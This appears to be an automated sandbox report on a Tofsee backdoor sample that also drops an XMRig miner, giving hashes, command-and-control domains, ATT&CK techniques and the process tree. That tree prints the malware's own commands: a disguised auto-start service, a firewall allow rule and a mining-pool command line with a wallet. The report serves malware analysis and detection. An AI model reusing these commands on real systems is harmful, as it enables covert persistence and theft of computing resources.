Analysis

  • max time kernel
    150s
  • max time network
    150s
  • platform
    windows7_x64
  • resource
    win7-20230220-en
  • resource tags

    arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
  • submitted
    27-03-2023 08:11

General

  • Target

    file.exe

  • Size

    259KB

  • MD5

    0ba4447a07a7c2c63cfe7aa69173ab6a

  • SHA1

    00273726672ded3869e15e24e09ee1053f547f0f

  • SHA256

    7c3bd96cd755ebe1e700c2b578cf83e88d10ce2529213c5bccf2def62b5a6474

  • SHA512

    0b169df73780dfe8d3e5b4c1c298e51e2cab756482a6f6cb439ddae6e66f4c918daa8aa3f059820b2639651e59bc766dc506df654d218d995e843b5f343ebd4d

  • SSDEEP

    3072:cypgerGfQDgLG96SFeQYWxK14YrLLKzxR/yrhIfD1lBqlb2PDFgvRs5xbBo2+:1xDgLzSHYKg4Yr0bTlm6Zto

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 7 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:324
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\mezkebyf\
      2⤵
        PID:1692
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\zcvggpqq.exe" C:\Windows\SysWOW64\mezkebyf\
        2⤵
          PID:944
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create mezkebyf binPath= "C:\Windows\SysWOW64\mezkebyf\zcvggpqq.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1588
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description mezkebyf "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:396
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start mezkebyf
          2⤵
          • Launches sc.exe
          PID:1688
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1936
      • C:\Windows\SysWOW64\mezkebyf\zcvggpqq.exe
        C:\Windows\SysWOW64\mezkebyf\zcvggpqq.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:872
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1328
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1540

      Network

      MITRE ATT&CK Matrix ATT&CK v6

      Persistence

      New Service

      1
      T1050

      Modify Existing Service

      1
      T1031

      Registry Run Keys / Startup Folder

      1
      T1060

      Privilege Escalation

      New Service

      1
      T1050

      Defense Evasion

      Disabling Security Tools

      1
      T1089

      Modify Registry

      2
      T1112

      Discovery

      System Information Discovery

      1
      T1082

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\zcvggpqq.exe
        Filesize

        10.5MB

        MD5

        4893a0a28010c9fbe8c5eb6eb90ba70f

        SHA1

        f1b86cf87dc61fd1b3c63afcaa2f2a046d62ec56

        SHA256

        9eaf22b0dd7f62953636637ede052fd00a1914bc4ff9495f5e4c24018c84dbe0

        SHA512

        e04aa27b28291c42cbe16a567bf94799df4ecd206eb9b6f57a9f66058e0b381d82c63f6e0e82445323d7fad1b03a6b3586fa04a4d4595da9f0753e215868b40d

      • C:\Windows\SysWOW64\mezkebyf\zcvggpqq.exe
        Filesize

        10.5MB

        MD5

        4893a0a28010c9fbe8c5eb6eb90ba70f

        SHA1

        f1b86cf87dc61fd1b3c63afcaa2f2a046d62ec56

        SHA256

        9eaf22b0dd7f62953636637ede052fd00a1914bc4ff9495f5e4c24018c84dbe0

        SHA512

        e04aa27b28291c42cbe16a567bf94799df4ecd206eb9b6f57a9f66058e0b381d82c63f6e0e82445323d7fad1b03a6b3586fa04a4d4595da9f0753e215868b40d

      • memory/324-56-0x0000000000220000-0x0000000000233000-memory.dmp
        Filesize

        76KB

      • memory/324-67-0x0000000000400000-0x0000000000704000-memory.dmp
        Filesize

        3.0MB

      • memory/872-64-0x0000000000400000-0x0000000000704000-memory.dmp
        Filesize

        3.0MB

      • memory/1328-88-0x00000000000B0000-0x00000000000C0000-memory.dmp
        Filesize

        64KB

      • memory/1328-91-0x00000000000B0000-0x00000000000C0000-memory.dmp
        Filesize

        64KB

      • memory/1328-66-0x0000000000080000-0x0000000000095000-memory.dmp
        Filesize

        84KB

      • memory/1328-60-0x0000000000080000-0x0000000000095000-memory.dmp
        Filesize

        84KB

      • memory/1328-68-0x0000000000080000-0x0000000000095000-memory.dmp
        Filesize

        84KB

      • memory/1328-69-0x0000000000080000-0x0000000000095000-memory.dmp
        Filesize

        84KB

      • memory/1328-71-0x0000000001A70000-0x0000000001C7F000-memory.dmp
        Filesize

        2.1MB

      • memory/1328-74-0x0000000001A70000-0x0000000001C7F000-memory.dmp
        Filesize

        2.1MB

      • memory/1328-75-0x00000000000A0000-0x00000000000A6000-memory.dmp
        Filesize

        24KB

      • memory/1328-78-0x00000000000B0000-0x00000000000C0000-memory.dmp
        Filesize

        64KB

      • memory/1328-81-0x00000000000B0000-0x00000000000C0000-memory.dmp
        Filesize

        64KB

      • memory/1328-82-0x00000000000B0000-0x00000000000C0000-memory.dmp
        Filesize

        64KB

      • memory/1328-83-0x00000000000B0000-0x00000000000C0000-memory.dmp
        Filesize

        64KB

      • memory/1328-84-0x00000000000B0000-0x00000000000C0000-memory.dmp
        Filesize

        64KB

      • memory/1328-85-0x00000000000B0000-0x00000000000C0000-memory.dmp
        Filesize

        64KB

      • memory/1328-86-0x00000000000B0000-0x00000000000C0000-memory.dmp
        Filesize

        64KB

      • memory/1328-87-0x00000000000B0000-0x00000000000C0000-memory.dmp
        Filesize

        64KB

      • memory/1328-61-0x000000007EFDE000-0x000000007EFDF000-memory.dmp
        Filesize

        4KB

      • memory/1328-89-0x00000000000B0000-0x00000000000C0000-memory.dmp
        Filesize

        64KB

      • memory/1328-90-0x00000000000B0000-0x00000000000C0000-memory.dmp
        Filesize

        64KB

      • memory/1328-92-0x00000000000B0000-0x00000000000C0000-memory.dmp
        Filesize

        64KB

      • memory/1328-62-0x0000000000080000-0x0000000000095000-memory.dmp
        Filesize

        84KB

      • memory/1328-93-0x00000000000B0000-0x00000000000C0000-memory.dmp
        Filesize

        64KB

      • memory/1328-95-0x00000000000B0000-0x00000000000C0000-memory.dmp
        Filesize

        64KB

      • memory/1328-94-0x00000000000B0000-0x00000000000C0000-memory.dmp
        Filesize

        64KB

      • memory/1328-96-0x00000000000B0000-0x00000000000C0000-memory.dmp
        Filesize

        64KB

      • memory/1328-97-0x00000000000B0000-0x00000000000C0000-memory.dmp
        Filesize

        64KB

      • memory/1328-98-0x00000000000C0000-0x00000000000C5000-memory.dmp
        Filesize

        20KB

      • memory/1328-101-0x00000000000C0000-0x00000000000C5000-memory.dmp
        Filesize

        20KB

      • memory/1328-102-0x00000000054E0000-0x00000000058EB000-memory.dmp
        Filesize

        4.0MB

      • memory/1328-106-0x0000000000080000-0x0000000000095000-memory.dmp
        Filesize

        84KB

      • memory/1328-105-0x00000000054E0000-0x00000000058EB000-memory.dmp
        Filesize

        4.0MB

      • memory/1328-107-0x0000000000110000-0x0000000000117000-memory.dmp
        Filesize

        28KB

      • memory/1540-111-0x0000000000230000-0x0000000000321000-memory.dmp
        Filesize

        964KB

      • memory/1540-112-0x0000000000230000-0x0000000000321000-memory.dmp
        Filesize

        964KB

      • memory/1540-119-0x0000000000230000-0x0000000000321000-memory.dmp
        Filesize

        964KB

      • memory/1540-121-0x0000000000230000-0x0000000000321000-memory.dmp
        Filesize

        964KB

      • memory/1540-120-0x0000000000230000-0x0000000000321000-memory.dmp
        Filesize

        964KB

      • memory/1540-122-0x0000000000230000-0x0000000000321000-memory.dmp
        Filesize

        964KB

      • memory/1540-123-0x0000000000230000-0x0000000000321000-memory.dmp
        Filesize

        964KB

      • memory/1540-124-0x0000000000230000-0x0000000000321000-memory.dmp
        Filesize

        964KB